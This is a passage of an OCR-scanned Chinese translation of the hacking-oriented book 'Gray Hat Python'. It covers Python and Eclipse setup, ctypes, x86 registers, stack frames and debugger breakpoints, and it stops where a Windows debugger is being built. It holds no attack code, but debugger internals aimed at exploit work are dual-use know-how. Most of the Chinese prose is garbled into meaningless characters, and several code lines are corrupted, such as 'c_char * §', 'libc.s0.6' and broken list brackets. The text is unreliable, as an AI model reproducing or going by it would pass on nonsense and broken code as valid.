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1.2.1 7 Windows _[Z2%: Python

Windows [¥]% 2 i A ] LA Python = 51_I R 2 http:/
python.org/ftp/python/2.5.1/python-2.5.1.msi. Xili, — 30— DRI RLHEmAT . FEERIAI
F H3x C:/Python25/ T, %%¢ T python.exe FERINIIE o

R HEBUR K e $¢ Immunity WA, HWAS TR Z LR INFLT, Hrhwif Python
25 o fE Ja WM E W oh, kA B & M A B Immunity o F & WM
http://debugger.immunityinc.com/( % A QB A B H L 3 R

1.2.2 7E Linux _Z2%% Python

WRFTFESE Linux _|F 123 Python 1%, A LUZW FF PR T . X B4 H] Red Hat
FIRTAERR,  FF HIXAN ISR root AUBR .
$B—20, F# Python 2.5 YA F-fi# [

# cd /usr/local/

# wget http://python.org/ftp/python/2.5.1/Python-2.5.1.tgz
# tar —zxvf Python-2.5.1.tgz

# mv Python-2.5.1 Python25

# cd Python25

AR fi# 5 3 /usr/local/Python25 2 J, 5k B 4i% 22 T

# ./configure —prefix=/usr/local/Python25

# make && make install

# pwd

/ust/local/Python25

# python

Python 2.5.1 (1251:54863, Mar 14 2012, 07:39:18)

[GCC 3.4.6 20060404 (Red Hat 3.4.6-8)] on Linux2

Type "help", "copyright", "credits" or "license" for more information.
>>>




WAETRATIA T — 22 H 3 Python Shell, REW H 1 £4E Python A1 Python & T .
AAE AR

>>> print "Hello World!"
Hello World!

>>> exit()

#

R —PITAEIEY . b T ik RS AEHE R E] Python U1 8% I 12, 75 2240 %#/root/.bashre
SOV P 441 bashre) s FAN N LEAR 35X nano, AN AR AT DAAS FH AR 5 0 i B 2 (S A HERE vim 1R
). 4T /root/ bashre, - CAFEHBINALL A .

export PATH=/usr/local/Python25/:$PATH

XFERFRIAT python i 2 I %, A HIH A 5822 1) python #8412 T R root ¥ 3%
(PN, BAEATAT shell T4 python Htfigf3 2 —4N28 H 3 Python Shell T .

KT TR A, R IREFRATIAC B H O IDE(ntegrated development environment ).
(TR FF IR EZ U R : ActivePython,UliPad 5% Script.NET, ipython B# bpython. ik, HZl
e, ZHUHAHET . )

1.3FC & Eclipse 1 PyDev

g T PRI T R VAR Python F2/7, BAAZNEAE H] —AMFUE W IDE V5. X EAEHSHE
P Eclipse(i#5°F- 5 ] IDE)F1 PyDev. Eclipse PAILam K al @ HIPEm 44 . N L 3RAT]
B MR I E e

1 M http://www.eclipse.org/downloads/ s % Hs 4 £

2 f#R%] C:\Eclipse

3 12T C:\Eclipse\eclipse.exe

4 F—PisAT, SWRAEM R TCE TAEX M H s AT ERA ST K Use this as default
and do not ask again 2] I, riii OK.

5  Eclipse Z%¢4fLLJ5, 1%E+#¢ Help Software Updates Find and Install

6  1%EFF Search for new features to install %A 5 15t Next.

7 Rith New Remote Site.

8  7E Name /5 i#H |- PyDev Update, fF URI J5[HI3E L http:/pydev.sourceforge.net/updates/,
Rith OK #fiik, #%35 fiihi Finish, Eclipse 2 H#) 712 PyDev.

9 &)L, EHE AL, BT PyDev Update, i% [+ PyDev, H.ii Next 4%
gZh—w.

10 [#12 PyDev #pi3%, WIR AR, 7E I accept the terms in the licens agreement % |,



11 H.ili Next, Ml Finish. Eclipse JF4fi %% PyDe ¥ &, AE5c/iE, Hifi Install All,
12 Hfa—4, 1& PyDev W3l 2 5, Hiifi Yes, Eclipse 43 B H NI N4 PyDev.

R4 R AP BRI Eclipse, LA fR PyDev BEIEHA ] Python AR g& HAT IIAS .

Eclipese JX3)j 5, £+ Window Preferences

¥ J& PyDev, IE#f Interpreter - Python.

LE X TR AET ) Python Interpreters H £l New.
W% 3 C:\Python25\python.exe, #AJ& fiti Opens
A UEAER 251 Python H L& 23 T 11 .
PR OK SE %% .

A

ETFHRI A HT, T EEEE A PyDev L. ATSH P A ARG # AT LLAEIX A TR 4T T

1. K%L FE File-->New-->Project.
2. J&JT PyDev %% PyDev Project, siili Next 4£%4%:,
3. ¥ LFE@v 4 N Gray Hat Python. jiifi Finish.

Eclipse & H A2 # 2 )5, 2% £ Gray Hat Python TFEHH BUAEJE4 /e LA BlfEA
sec FJ, %P New-->PyDev Module. 7F Name B4 A\ chapterl-test, i ifi Finisho ¥4
B, TRARBEE R T, chapterl-test.py #7212 51ELH .

7t Eclipse 11247 Python JHIA, HEEHL T AL 1Y Run As( 2k P8 16 i k)%
AT T o ZEISAT AT A, nf DA P PR CTRL-F11. AR 4 H <5 S 7R 7E Eclipse
JiCE ] Console THIAR » IAE T A U RAHS .

1.3.1  hacker {1/ & :ctypes

ctypes JE 3K, SRR EIAAS LUS A4 LT P A BE AR Tt A E AT e 5 1
M ZhASBER e b s AL, [RIIN B PR R 1K C A SR IR = B e . 22051, ctypes
HUEA T LA

132 HHZISEEE

i ctypes 55— 502 BT B el fdAfr A7 o) A e PE D R e £, —> dynamically
linked library(#% 2l &% 3% £ (1 FE) JL 98t & — A @S, Ak —M | SAEAT, M d )
R FHAT . #F Windows L1 45 dynamic link libraries (DLL)Zh A8 8 78, 7F Linux L1y
it shared objects (SO)ILZEE, iRt A -6, IXEL7ZE ) pR 254 00 2008 1L 3 H 1) 44 7 U
ZETHENAE PR EE ik BT DUE SO0 LR AT RR A, #0620 56 Al B Hh ek 25t bk,
il ctypes AT T IX— .

ctypes $EAL T = Fh 5 v Bh & BEREEE cdll(), windll(), A oledll(). ‘EATIKIAS R Z Ab sl £
T BRE T ERR B cdll() DA, LG I R B 2 BRAE ) edecl 1 H



2)5€ « windll() J7yE a7, L5 R Bon Zifd ] stdeall 1 F 20 2 (Win32 API 1)) 422y
5E)o oledll() 5 VAR windll()ZAL, A ik n 2 o8 H0R [Fl— A~ HRESULT &5 =0, v DA A
COM PR A3 21 H AR DR A5 L

WY e

WHZE Bfam B W k. s, R SHELE 5, iy O AREL
BAGLE ZAFA ), LUSCRREGR I, IR P AR B . 1 TR PR A 240 5 2 AT 1 FH 2101
cdecl and stdcall. cdecl IHZE, KBS ENAT AR DTIEANRN, KRB
FERR BT SE UG , NSRBI T o IXFR 2 e B H T x86 2RI C B 5 H.

InC

int python_rocks(reason_one, reason_two, reason_three);

In x86 Assembly
push reason_three
push reason_two
push reason_one
call python_rocks
add esp, 12

M T ARS v AR G S8R I, e —17, BRIREIS T
12 NMEW(CEANSEAEIBA R, PR AR TRE A AT 4 N, 3124,
i3 RECA G ERTRE K S 3R AT A7
N2 stdeall T ZEM 7411, T Win32 APL

InC

int my_socks(color_one color_two, color_three);

In x86 Assembly
push color_three
push color two
push color_one

call my socks

AT, SEALE IR WA B 2, AR b BE i pR 20 my_socks
HOSEM, mAE IR
AR, KPR R 7 SR AR A i 2 EAX H

AR AR ARG, EEEA C FEFR I printf(O) s 2T BN — 4574 5., Windows H1 1) C JE
£7F C:\WINDOWS\system32\msvert.dll, Linux "1 C JF 47 F-/lib/libc.so0.6.

chapterl-printf.py Code on Windows



from ctypes import *

msvert = cdll.msvert

message string = "Hello world!\n"
msvert.printf("Testing: %s", message_string)

£ R L F

C:\Python25> python chapter1-printf.py
Testing: Hello world!
C:\Python25>

Linux F&A WEHANR :

chapterl-printf.py Code on Linux

from ctypes import *

libc = CDLL("libc.s0.6")

message string = "Hello world!\n"
libc.printf("Testing: %s", message_string)

LIRSS I

# python /root/chapter1-printf.py
Testing: Hello world!
#

LA 3 ctypes i I 2h AR EHE 28 0 1 bR B0A 20 T #

133  WiE C HEkal

fiiH] Python @il it —A~ C £ R AR ) L, A o] MR 55 (AT H C 50 CHHE8 [ 211
Listing 1-1 %78 =FH Z AR TR R

C Type Python Type ctypes Type

char I-character string c_char
wchar t I-character Unicode string ¢_wchar



char int/long c_byte

char int/long c_ubyte
short int/long c_short
unsigned short int/long c_ushort
int int/long C int
unsigned int int/long c_uint

long int/long c long
unsigned long int/long c_ulong
long long int/long c_longlong
unsigned long long int/long c_ulonglong
float float c_float
double float ¢_double
char * (NULL terminated) string or none ¢ _char p
wchar t* (NULL terminated) unicode or none ¢ _wchar p
void * int/long or none ¢ void p

Listing 1-1:Python 5 C E3EX 7 WLt

TR R BN AR R T o ctypes RIUHIARAL IR, KNSRI A Z07T & 5E X
MR, FH NI

C:\Python25> python.exe

Python 2.5 (125:51908, Sep 19 2006, 09:52:17) [MSC v.1310 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> from ctypes import *

>>> ¢ int()

¢ _long(0)

>>> ¢ char_p("Hello world!")

¢ _char _p('Hello world!")

>>> ¢ ushort(-5)

¢_ushort(65531)

>>>¢ short(-5)

¢ _short(-5)

>>> seitz = ¢_char_p("loves the python")

>>> print seitz

¢ _char p('loves the python')

>>> print seitz.value

loves the python

>>> exit()

I G — A1 7K AL T "loves the python" ¥ 5 15 5 48 £ K AH 45 A8 & seitz, JFal 1L
seitz.value J7 VA B G| H T FREFIIN A,



135 NGBS

SERFNIE G JE R H A £ S8 A, 9 KB 1 3E H T WIN32 (1) APT HI Linux ] libe 5.
— G5 R AR g — A TR AR R AR (T A AR A Ay A ) SR S R A IR AR AR A
RS, wTLLE S SR kY ). EL T beer recipe.amt barley, it J& iR beer recipe 45
FJH i) amt barley 4% 5 .
InC

struct beer_recipe

{
int amt_barley;
int amt_water;
¥
In Python

class beer_recipe(Structure):
_fields =]
("amt_barley", ¢ _int),
("amt_water", ¢_int),

]

WPRFT L, ctypes IR A B ARG T —A C A 4584 .

A FNEE R ARG o AH RS T A AR B A A — AN W AF R, R ) — AN 1 N A7 28 1),
TXAN 23] ) /NG A2 B R IR BN AR 2 Y R /IN o IXFE 5 BE K5 B 5 A AN [R) I8 289 1) A0 B A
51

InC

union {
long  barley long;
int barley_int;
char  barley char[8];
tbarley amount;

In Python

class barley _amount(Union):



_fields_ =

("barley long", ¢ long),
("barley int", c¢_int),
("barley char", ¢ char * §),
]

W TRA TR — AN A 25 65 T I barley_int, #2245 AT 1AL A ] barley_char, H
FAF I s WA F A 66,

chapter1-unions.py

from ctypes import *
class barley amount(Union):

_fields =]

("barley long", c_long),

("barley int", c_int),

("barley char", ¢ char * §),

]
value = raw_input("Enter the amount of barley to put into the beer vat:
my barley = barley amount(int(value))
print "Barley amount as a long: %I1d" % my_barley.barley long
print "Barley amount as an int: %d" % my barley.barley long
print "Barley amount as a char: %s" % my_barley.barley char

R

C:\Python25> python chapterl-unions.py

Enter the amount of barley to put into the beer vat: 66
Barley amount as a long: 66

Barley amount as an int: 66

Barley amount as a char: B

C:\Python25>

A I — AME L REAS B = Fh AR IR I 5 2. 5 —> barley_char i th 1145 12 B,
A4 66 WIlLf#E B 1¥) ASCII i,

barley char Ji% i [A] B 2 AN B0, — AN )\ R/ RIS 7 ctypes H HITE — N4
U] FA R AR R e DU B S I B E i nT LT

U, JHRBA TR RFE T !
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BRI AT REnlE ZeP K 2 exploit fuzzer FJ%EE 74T B,
AT EE T R E R AR I o o 1k 510 00 1) K 5 4 T B R ik

T B RS 1 S B B, AT AN IR ARG T o S BRATDN A SR B 2EA T DR AG PR I,
PRSP TR 2 AL telisAT, B, Db, bR WEW A B
FEARINAT s FPE RN, XL IRR R4, B BRIX EZE VRN 1Y

FEVRN I 00, JeibAilse T8 T B @il B Wl A R P2 RIT 6 e
WE A BRI, SRVFIT R TS5 AR R P AT RS 8 A PR BRIl X Fri
P AR BIURACHD I, TP A, W 0a TR,  Hacker Ajtes W] HR G iR i ER
R HARRER o SRR, Bl ul i B AR B AEWI ), ME—RER 2RO S g
Ao IXIE EEO M R IS AETRE 4R IR DR ARG SR %, AE 2RI (] o B
% o (E PR A3 1) BB A AT (386 1) T ROR AR AN R AR A AT 5, A, AT I T
BRI, HRHIFREE TR,

PR PR R R PRI R AR, PR R R 2 ring3
FRES) SR IEAT R I — R CERERIRERS Do I B A R 2 S AR o
MRisAT “is%ds (caclexe)” MINHR, Bie A — TGO RIERE; XX A BRI K
AU PR IR A% OB R i . X ILISATABIE RGN, WERe, RZ
AfF. is4T Wireshark BARECE QIR LA —A> TARE WAL EE IKEh A H. . R
PRAET (5 0K o A I IR SRS A A P SO AR i s 1

R EE ] B IS KKV Z B A T WinDbg (#4:7), OllyDbg
(At I KEs /E# /2 Oleh Yuschuk)o 44R7E Linux N IS5, 5w 22431
PRAERT GNU ks (gdbdo DAL =AM RES A 2 1ok, #0H % A R i s

AL LA, AR R BRI ERBEUS TRE R A RE, 2 £E Windows F 5.
B REA A BLAE O T Rk b, A e AR o 53 11 5 Ot R s 2B A T 1 — 2B IR T A A
L bl e e 7ok 4, LI % 1 Hacker AW ] TRENT & 1152 Hl00 & Fhohhe. 7E
X J5 10 HH BT AN 0 B A AR 1 AR L ) i) & PyDbg (byPedram Amini) f1 Immunity
Debugger (from Immunity, Inc.).



PyDbg & —>4l Python SZE K iR 2%, 1E BB & GE4% ] Python i & 4 1H 4 ) — AN 3L,
SCIL A B Immunity KA UDE — AU ARIR AT — 20 PR, AR S 1A
AL OllyDbg, {H &34 5 5 K Dy fig LS B2 22 (1) Python Y o IX AN I A8 AR A 15 11
JE TS VEA AN IR G LEFRA RN T R I 2% 1) — R B

PRI, FATRALTE RSP AE x86 V& I B, M Xt CPU 1R R 454, (M)
B LA % (0 JES 2 45 A 40 0 VR NER ST, PR 2 1) AR B, A SERLERATT B i
AT N Ak

2.1 A CPU FE%

CPU (175 fr- s RR 0T /b it (I H dE AT VORI AF LG 1) o 7F x86 FRAHEAL, — 1N CPU A
J\ANIE T %9 7748 EAX, EDX, ECX, ESL EDIL, EBP, ESP fil EBX. &8 £ 5l 178s, 8
S g BAR YA . X ) \ANEH A8 S A A AE, TS AT AE RT3 AT B i
AR OCEE . ALIRAVE TSR — GRS AIBE o o AT PR ik — Aoy S 5
58 K U B Ath e AT R A8 v

EAX 57 M ORI & A7 e, B 7 476k o8 B0 3R [RMESMB ] FIAT T
Beflo VP2 AU x86 TR 4R AL TR T AT X BAX W A7 88 B E AITHSE R4 . Z1n iR
FEAII N9, PR R R R SRR A T AT L T EAX ARAER 2o

HTTEATVE T BB IR PR A G TE EAX ZP A7 . X — pUREZE, Byt
(A1) EAX BLAE FATT oy DAY R BORPAT D5 15, B 19 B DR [F .

EDX 7 £ d M ABCEOH 25 77 8 o IXAS A5 4788 AT LR EAX 25 4745 (KT i,
EH EAX S8R 2 SRR E G IREMERE . B AR R ] S A, A
LR (W 455 EAX ZF A7 BT VSR

ECX #ffas, WM B A4, 1T ERAE, WIE S K 7P A iRlE, 5l
LHF G A AR, ECX A7 A SR 1 R TSR 1 L1 o S T it 2 i T
EIAERAE I 2 e R0 /N DD 6
& — N FIAIY Python F Bt:

counter = 0

while counter < 10:
print "Loop number: %d" % counter
counter +=1

UERARACIZACE FAL B AR, PR B8 — R M ECXOR 48T 10, 55 48
MBS T 9, Wtk R EZENE ECX /b3 0. IXIRA S ik NN, BhiX#1 Python MIEER
WA AR S, (R KL EHEAG ECX 2 ) M UFRIET T .



1E x86 14 L, # & ESI Al EDI 77 47 BEXT 75 B8 PR3 VE (P 50 B AT ey R Ak 3L
ESI A {7 as AR E R 5T, AAEE AR BRI . EDI & 7a8 2 H B ELdR 5
A4l T V45 BALAE I & . T8 5 2, ESI (source index) H 1%, EDI (destination index)
HT5. HIESRELERE R B ST, BRI m TR A PR 1R 3% .

ESP Ml EBP 73 2 Ak 3R T AR B o XA 27 474 3 [ 57 57 o i) 10 PRI P 45
Yo = RRE I, o i 210 2 Bt 2 s b A P 35 i bR 8001 322 [ b ik A A s
#t. ESPIRFHIL, Wil bk, EBP WRHEAE . A%, ik ds REm Mot it
6, BEI EBP, LA TAIERAE, M i (K A2 A

EBX & ME—— R IR L& A7 8% . B RENS /R N B A ik A7 s o
A — G B S A AF AU EIP . XA A7 B HR 17 5 L EHATIIIE 2. 2 CPU
PAT—MREF T L0 AR B IR, BIP 25 S 4 10 24 1 CPU 5 2T B A7 .

— N AR A RENS AR T (S AR AT G SOX S8 95 77 3 1O N o B — DMRAE R ARSI
TR DAETRR A CPU A& H.,  DMEREWSIRIUNME SOX L8 . AR AR 5 1 31 R 4¢
BT VRSN A SRR A

2.2 %

FETT AR & (R IR, e — SR T EE A S5 0 o BRAF A T3 R B0 AT DG R 2% 6
BLFE B8 B ZHO R B AT 58 R R [T U7 0. ESP HA ST EREAARTH,  EBP $A ST ERFR R .
F A e AR A A o LR FRATTHT AT T 25 5 1R PR & my_sockOFF b Bl 1~ U Ak 2
i AR

Function Call in C

int my_socks(color one, color_two, color_three);

Function Call in x86 Assembly

push color_three
push color two
push color_one
call my_socks

FAHEZL K SRR P 2-1



ESP register ————m= Return address

color one

color two Stack growth direction

color three

EBP register ————m= Base of stack frame

Kl 2-1: my_socks() X% RIEREH

WIRPT L, 32— AR TR S A Bt g A, [ IR A R P o e O T PR S Al . 24
my_sock() PR EUR BTN, & 23l T 240 CGRIFAEFEE] EIP), R)5 B2 (A
Hutik(Return address)fi [a] ML T7 (SRR EIARIL B RSP AT . 51— AT BEH IR RS 2
AR 2. FEIATI my_socks()pR B Jig— ri, EIRAMESE s B H A A8 28— 1 Sl 2
HE— TR AL, K S4 color_one SHIZEIEA M. AV IZBIXH:

int my_socks(color one, color )

{

char stinky sock color on[10];

PR HCKE 7E B8 B H1 1 stinky sock color on AR [ [H], DMEAEAE A CYRSBEE R
BUPAT 52 BB, ARSI, MR SEIRZ). BIEHII LG, YRR 4
FPRAZ B 2-2 B B HIXFE



ESP register ——— = stinky sock color one

Return address

color one

color_two Stack growth direction

color three

EBP register —————= Base of stack frame

Figure 2-2: 7£ stinky_sock_color_one Hi% 5 [ HESE
AEAR BN T A M bR HO e 7E A L RO 10 LA SRR HR T 2 T AN T 1) 398 KR 1 A Tt

(7o Il s HER G IR B RE A A T, e 2 AE BT SR e A 35t BB O A 5
TR D R I

2.3 R

P S AE R BURE PP I I 2 — FAR A A5 A, BRI 2 — RS A A iRl
PR AR, e T ] — AL 22 6k I R e Ak B R 2

Kb B R B T RIS, s B R P A T — 2D R s . DU IR ifE 2 — A
VA 2 RENE TS B CHL A -

MR
o PITEEH I o B )
© RS

511 TR G H R ) o S 20 T B8, S S B (e R

TR o EROBERSE, feide (BB EZRFE, HanEgore sl BERE i B LA
L B AR PR (R N8 IR A5G



— AT U K S0 20U T S HRIRIAS (1, RENS 18 52 SCAAE AR B bR O TR R et
1T B M5, — AT IR AR A G2 e DR Y 0] T BRI SR BEAR 24 (KA R
URRAE VI TR R AP R AN IS A L, — 28— D IR A R o (R A A T 2 1
If PRI AS R R IR (R I, & RE 6 S SRS AR R N PR AR A BE R 2 T B Sh AR Ty
SRR R XA T I IR), Gk F AT 5 4 i A4 o A ol 7

24 Wre

A IRATT A LA TR Py 225 P IR A At 75 2 0 W oo e T E R, JRATTRE ML
Actw, HERRSHA LA, JF Hadse AT Ws A ARH 2L, AR ERE i I fix
KT RESS LR AR ET IE . Wi fl EZE 0 =Rl PRI A, BRI A, A AEIRT R ABATT
ARH AU A5 30, (HSEBL T Bel 5 A A o

241 WK

BRAE T R BARTI S R AE CPU AT B4 8 A7 B AU A I AL 5 o BRI a0
B2 AARAE IR o T B 55 22 (R T oo BRPR IR A AR JBOBE R — N SR (9%, T
WAATRER?, TR RIS B 20 1 1K 2 1O W el A B e B A2 B e ST A 2 iR 8
ST FEAE x86 VL g HLFR- MR AR 1 22531 o

TG 2 CPU ST K I sy AR s T 281

MOV EAX, EBX

XAMEA S CPU A2 TE EBX A7 feas IR U3 EAX P A7 o AT, A

FENG? BRI CPU MRAAN I I NIA 484, & W 208 A e — PP A ERS TR AR VG o 4TS

(opcode) #ii /& operation code, & CPU BEHEAR H-PAT HITE 5 o HI IV F8 2 e Ak et Ve Y
St T DX

8BC3

RV, e IEAEEAT (RAEAR 2 2 NI, HIX I SOE CPU IR S . 1R
DAV G5 2 A4 5 CPU 1] DNS (Bl A A% A1 1P R R Z8 55 )0 ARASHIFE— AN
IR AR (RIS CRABLIP kb, AR (2 1] B AV S %, R Jr IX SRR 2
SO G s e A AR A o A5 HH AR P AR AR 2D 2 T BRI, (ERARAT TR T PR R A I
R RR AR L



MR IR TSR 35S R AAE 0x4433221 X AN HbhE, — X RE s :

0x44332211: 8BC3 MOV EAX, EBX

KRR R Tk, BRAERY, AR IR A . O TAEIRXAN kv B W, B CPU,
TATTRE N 2 A5 1) 8BC3 HAEID rhffe th — AN B Y (3D o XA PR R B AR R
&3 SHiTE4A (INT3), —4%f8il CPU BFHIFE4 . 3 5 Il s/t & 0xCC.
T HL I 1A T I A L T AU TR T

FE W AN B AT R 1A

0x44332211: $BC3 MOV EAX, EBX
WT A B B R
0x44332211:  CCC3 MOV EAX, EBX

IR SR K 8B K 17 CC. 2 CPU $HAT BIIXANM ARG 1IN 5%, CPU #45
Fffil A —A INT3(3 5 P FfF. Wules B 5 REAR B AN S5, HR0 Tk AT A S
W, AR T AR IR B U 35 S H ARtk B8 — MR L
TG H AR AR E AT R AR, SRR PRAFER, RIS IR A A £ P RS R B 41
Rrpo BA, MRS AT EREN CC BRI AL, 5 CPU AT 2] CC #AFIE )
It il —A> INT3 P gl dhmf il ds st pe P 20X A Fifh . ks ke i 4>
KA WA GBS EIP 385, $R2485H) R A A COuiTR B R ik d R AR
DA A (R BB s B R R KA L, AR A0 L T A AR R A 3R RS S [R] B1 H Adh
bk, XFEREREOA AR R BURE IR AIHRAT o 18] 2-3 XFUEEEAT TR A 2



Breakpoint List

Address Byte

0x44332211 8B

@ Debugger is instructed fo set a
breakpoint on 0x44332211; @ Overwrite the first byte with the
it reads in and stores the first byte. 0xCC (INT 3) opcode.

a8
£ &

N

— CPU [EIP) —== | 0x44332211: BBC3 MOV EAK, EBX

© When the CPU hits the breakpoint, =
the internal lockup ocecurs, and the
byte is lipped back.

B 2-3: AT A AL B AR

A PRI A AT P DAL — IR IR RO R T e — P R, —
Bk Gir) — G et WA T 73R B — M FAPERT S AE CPU filik
JE S TRTAFRAE N RO R AR L, DU R s AT B L 2

SR AEWT kA — A TR 2 RES3E T 4 IR e (0 N AE B (R I, AR RIS 503 1738
AT A IR U ARSI A (CRC)o CRC s — P B0 et 72 7 B SR R B, e
PN T30, AR, SO, P2 i G AT ] PR AR M A8 R (7 . CRC K — &
U [H A A EEEEAT hash GEOZD F5E,  AETE ) TREH — e X8R i A AF B i A T Ia 5
SRJ5 K4 hash AEATEHT B A6 (9 hash (EREAT BUEL, DU B 2 5 5 e o 0 RAS ) U W il
ks 75 KU R X AR EE, DR DA 5 75 R e 48 S DR P A8 A7 R s AT ARG 1) CRC
{EREEAE, ARV SSRGS, WASRIEE . i TR RSO N B AEER 1
BEAT R AR, B AR T 5 T

2.4.2  TEIT

W AR AT JCIR AR /N B DI BB T 1 (EE SR BB e AT IR



IXFRRAL W S B AE CPU ), FFHFr e a7 as: k%748, — /N CPU i &f
8 MR ATAF LS (DRO 7285 DR7 F4Ee%), AT T4 BRI . IRIR 27 7228 DRO
FRIR A A7 2% DR3 AAAG AT Wr bt o XK IR []— B 18] PN e 22 JLRET 4 AR BT 250
DR4 Fl DRS &% . DR6 A RAZTAFAY, Ui T #2755 b % R 4025 . DR7 A |
S MBS T OB Re,  [A B A4 T WS AR 2R Y, Sl F DR7 i Afas R IE
ANFEFRE, BEWOIEELLR JURR IR A
o EEE M RE AT R AT I i K
Coe CUERE MR A B AT USRI
2 Rk A B B S AN AT R A
KAEW AN, YREE B ERIR A (B2 44, NRBEGSGSAT IR i i

Bl 2-4 SR 7 SRR PR, A BEAN L IEAH ORI T B

Layout of DR7 Register

LIGIL|G|L|G|L|G Type | len | Type | Len | Type | len | Type | len
.
DDDDUDDDW DR | DR | DR | DR | DR | DR | DR | DR
ofojrjnj2|2|3|3 ﬁ
Bits|O |1 |2|3|4|5|6|7| 8-15 |1617|18 19|20 21|22 23|24 25|26 27|28 29|30 31




DR7 with 1-byte Execution Breakpoint Set of 0x44332211

1{1|0|0|0)0|0]|0 00 | 0O | 0O | OO | OO | OO | QO | QO

L‘J L

3]
R Ox44332211
0
DR7 with Addifional 2-byte Read,/Write Breakpoint at 0x55667788
=z
]l]lﬂDﬂﬂ/ﬂﬂ 00 11 01 00 00 00 | 00
=
? -
D
R Ox55667 788
1
Breakpeint Flags Breakpoint Length Flags
00 - Break on execution 00 - 1 byte
01 - Break on data writes 01 = 2 bytes ([WORD)
11 = Break on reads or writes but not execution 11 - 4 bytes [DWORD)

Kl 2-4:DR7 FAras € T Wr i 288

0-7 AL FEREAEWT A5 BT 5 R M TR . AERX-BA2H LA G 7B JR i 42 JR VT
PRae FACHAMLABCE T, DIIRIIZI ] P B Rl A BEE — St Re LA, 8-25 1
FEFAT— AP A S, 75 x86 [T L AR AT AR X T IX S35 PR A RE . 16-31
REYE T BEEAE 4 AW Rl 25 17 2 P EEE I Rl SR L S K

AW s AR, AR T AN 2 ] INT3 A7, 1 & H INT1(L 5 5 ). INT1 £ 57 fli 4
TR . Pk C Single-step ) BB L BIPATIRS,  MMTRS B IK W 50 B
AR LA I ML 1284k o 7E CPU BRIRPAT AR 2 JT . #02 S6 A A B SR T I AR D (1) 1
HE A SR A T AR b, ] A A U A5 A AR B ) 4 T A T R A A X
WERATAT i A7/ DRO-DR3 Hh (¥ bk i i ) (%) X Sl 7 1) T, s fiki i INTT e, - [m] i 3
5% CPU. WH %A, CPUPATAUS, ZF AT, CPU gkZ:HE A LRIA A .

B BT AR AT D, AR AAT — BRI — TR ) — Bk ) S e v e DY AT R, 5
— 7 T W RO AR 4 A7 CRmbE A 4 A1 1 AR e D . I SRR AR
PRER — RIRWAE A, AUIMANEN T o O TN IR, (R332 N A7 I R



243 PAEWT A

WA T i LA R BRI e 25— DRSS BB T — A WA I RO e, e S
38 T NAE PR B BRI o — A A A TR SR R G B B N A B0 e — N
A7 GO RS R LS i T BUREE, e e T AAAZ I T ) . R LA
BT Y5 R BCRR 11«

AT RIS SRR, A I
AEGT SURVE AT T SO, AR M U
AE VPR AU

) AR ORI R A 5 R R R, 2 i ST R VT ) RS

REBARGISCVIIRER T IX LR . 2540 1, IRBEAAENAFH QIR — A 00iE,  BERE
BN ARES, RN 53— A DU BERETE SCREPAT o BE—NRAE R GUHSA P A 1) o8 H0LE VR 2 0 24 iy
WAF UL OFANEPTATID IBRR, JF BB, 25K 2-5 WEA FIBLER I A A7 5L 2
SRR [ o

Read, Write, or Execution
flags on a memory page
allow data to be moved in
and out or executed on.

Any type of data access
on a guard page will
result in an exception
being raised. The original
data operation will fail.

R O10101010110101001010101010010110101010101001 W
- -
W
0101010101101010010101010T0010110101010101001
-
GUARD PAGE EXCEPTION
- -

B 2-5: & FHASFIRURR B A AF R

Read
Write

Execute

\

T
Fo
K

.

X L RATVE DGR S PR Y UU(Guard Page) o SXFHSEALI GUHIE 4 H T 20 BYMERIRR 5
T R B0 AT Bs AN B K A T o 55— P O0, it 24— NREE 1) N A7 Bt R iy v (2
WD) T SRR 2T, WRIRA AR ) — S R S RE Y, A LR 9 2% i
WG, A B R A7 ERCERY I, HRB TRy, — BRI R U5
o], A CPU B, il —NRY ORI, IX I IRA Tt REAfh 2 R P A AE A A I i
FIAE 25 X7 R B T o 25 PRk — D BRER LS TT 1) A A7 -2, AR i 8 R P 0t



AR T A 28R4 o ORI RISt g i 1 P T s Bt BRI R [, DS R B AT T8 AT 18 AT
AT A .

FHATA L, FATCAEVHASE T A LR AN PR CAE BB, B ok IA 1258 B 3) T

H— Python ik, XIET Windows MRS, A2 HI B FRATH #2201 Jr A
IR

3
H .3 F 5 — windos ik 73

WARMN O L VRS T EEIR, RSSO — N EIER K
IR HIEHMR T o SR IF K& windows B, 18N T —
RHERS NI A R L DL B TR R EATARAE = b R R .

1 R = A X e p B R F R 2E python P48 . A — mUREEE, TATTAT LR
RN 2] PyDbg(Pedram Amini” s )[FffH, X /& H §1AE K2 19 5 8 7 1 Windows & T
f] Python ii{#% . FF Pedram i1, FISvHEH PyDbg 5% T I (Uffgdiss, 22
H, AR, [RINRR AT LATE 2R S 1 H] PyDbg SEILAR I A o

KT R—ANEREHAT R, AR SE 2 — 207 R s A R ok . LA, FR
IR VRES ZEA R Re 8 — D PUTRE P ARG 1217, AR S B2 — AN s 17
HI3ERE . Windows )84 11 (Windows debugging API) 244 T —ANJE ¥ ] 5 (1) 5 vk 58 ik

IBAT AN I 2] — AT A 2200 o 3T 0T — MR AR S AE T REAE R Feis
ATAEAT AR Z i e A R IR e o IXAE S Mo 25 s S RS I IR AR H AT e B & — A
BERE, UOUZ AT IVEEAN A CGs AT TIRERE NS, & SeVFORBIL S shE o A, i
PRIBOGERAIACD o R IEAE 70 HT A5 e e e F AT IEAE AT 3t 7

Sk, s MR S A G XN GRS ale SCHERE, xR g R
AR B R 7E Windows A —ANEFEH CreateProcessA() BRI % FiE e I br &A%
XAk, A4S H AR ERERERE HE K. — > CreateProcessA() i H & L K AZ IX H¥

BOOL WINAPI CreateProcessA(
LPCSTR IpApplicationName,
LPTSTR IpCommandLine,



LPSECURITY_ ATTRIBUTES IpProcessAttributes,

LPSECURITY_ ATTRIBUTES IpThreadAttributes,

BOOL blnheritHandles,

DWORD dwCreationFlags,

LPVOID IpEnvironment,

LPCTSTR lpCurrentDirectory,

LPSTARTUPINFO IpStartupInfo,

LPPROCESS INFORMATION IpProcessInformation
)i

M AN AR 2 8, ANIL, B30 ) R A AT T 2B K (R 73 73 ik B/ RS 78 2 LA
HF. FREMAROLARKSETUE - PERTEEENSH. XESHL
IpApplicationName,l[pCommandLine,dwCreationFlags,IpStartupInfo, #1 lpProcessInformation .
T RHIZHOT LLBCE A (NULLD o 5% XA R B PRGN B v] LA MSDN(fkz 2%
BRI BATI AN SEON TICE, & E AT IR P AR A AR AR IR A R 7 (1 2
. dwCreationFlags (GIEbrIL) SHHZ —MEe E, FRoRRATA EREF U PR
& B WA S B ool s 2 A4 4 M (STARTUPINFO — and
